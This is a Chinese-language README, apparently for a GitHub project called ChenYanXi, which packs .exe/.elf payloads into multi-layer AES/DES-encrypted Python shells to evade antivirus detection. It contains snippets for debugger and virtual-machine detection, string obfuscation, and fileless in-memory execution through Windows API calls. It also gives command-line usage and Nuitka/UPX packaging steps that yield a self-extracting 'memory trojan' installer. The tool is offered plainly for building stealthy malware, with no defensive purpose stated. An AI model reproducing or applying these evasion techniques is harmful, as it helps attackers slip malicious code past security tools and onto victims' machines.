它可以将二进制 Payload(如 .elf
、.exe
)封装为复杂的 Python 壳体,具备强抗分析能力、极低查杀率与多平台兼容性,并可通过 Nuitka 进一步生成高度隐匿的单文件执行程序。
✨ 功能特性
|
|
---|---|
|
zlib + AES/DES 混合加密 |
|
PBKDF2-HMAC-SHA256 加盐密钥衍生,层层不同 |
|
|
|
|
|
chr() 拼接,躲避特征匹配 |
|
|
|
|
⚙️ 技术原理
🔐 多层加密逻辑
每层执行如下处理:
-
原始数据使用 zlib
压缩 -
添加伪装字节干扰特征识别 -
随机使用 AES 或 DES(CBC)对称加密 -
加密结果再 Base64 封装
多达 最多18层嵌套式处理,构建“洋葱壳”,极难逆向。
🔑 密钥派生设计
每层使用独立密钥与 IV,派生方式:
hashlib.pbkdf2_hmac("sha256", secret, salt, 100000, dklen=32)
-
secret 与 salt 均使用 get_random_bytes() 生成
-
防止密钥重用与静态模式识别
🌀 控制流 + 字符串混淆示例
伪装控制流语句:
if random.random() < 0.99:
pass # 控制流噪声
关键字符串混淆(例如注册表路径):
reg_key=chr(83)+chr(111)+chr(102)+chr(116)+...
🔍 沙箱 / 调试检测代码
def is_debugged():
return ctypes.windll.kernel32.IsDebuggerPresent()
def is_vm():
return any(x in platform.platform().lower() for x in ["vbox", "vmware", "qemu", "sandbox"])
🧬 内存加载执行机制(Windows)
ptr = VirtualAlloc(...)
RtlMoveMemory(ptr, payload, ...)
CreateThread(..., ptr, ...)
-
全过程运行在内存中 -
不落地文件,避开大多数杀毒检测
使用命令
usage: chenyanxi.exe [-h] [-l LAYERS] [--no-drop] payload
OR
usage:./chenyanxi [-h] [-l LAYERS] [--no-drop] payload
positional arguments:
payload 可执行有效负载的文件(例如,shell.exe,shell.elf)
options:
-h, --help show this help message and exit
-l LAYERS, --layers LAYERS
加密层(1-18),默认是3
--no-drop 仅在内存中运行
🚀 使用方法
.elf
、.exe
),命名为:shell.elf
shell.exe
./chenyanxi -l 18 shell.elf
或者
chenyanxi.exe -l 18 shell.exe
packed_shell.py
🧰 项目结构
chenyanxi/
├── chenyanxi # 主生成器脚本
├── shell.elf # 示例 Payload(二进制)
├── shell.exe
├── chenyanxi.exe
├── ultra_shell.py # 输出带壳 Python 木马
├── image/ # 截图目录
└── README.md # 本文档
🧪 Windows 打包建议(Nuitka)
pip install pycryptodome psutil nuitka
nuitka --mingw64 --standalone --onefile packed_shell.py
packed_shell.exe
🧪 Linux 打包建议(Nuitka + UPX)
sudo apt update
pip install nuitka pycryptodome psutil
sudo apt install patchelf upx makeself
nuitka --follow-imports --standalone --onefile packed_shell.py
strip packed_shell.dist/packed_shell.bin
upx -9 packed_shell.dist/packed_shell.bin
sudo apt install makeself
makeself --nox11 packed_shell.dist/ packed_shell.run "Packed Shell Installer" ./packed_shell.bin
packed_shell.run ← 可直接执行,自动解压 + 加载内存木马
pyinstaller --onefile packed_shell.py
📌 注意事项
-
项目依赖:
pip install pycryptodome psutil nuitka
-
默认针对 Windows 平台(包含
winreg
,ctypes.windll
),如用于 Linux 可能有一些未知的问题;
-
建议搭配
pyarmor
、obfuscator-llvm
等工具进一步加壳混淆。
github
https://github.com/mingshenhk/ChenYanXi
© 版权声明
THE END
请登录后查看评论内容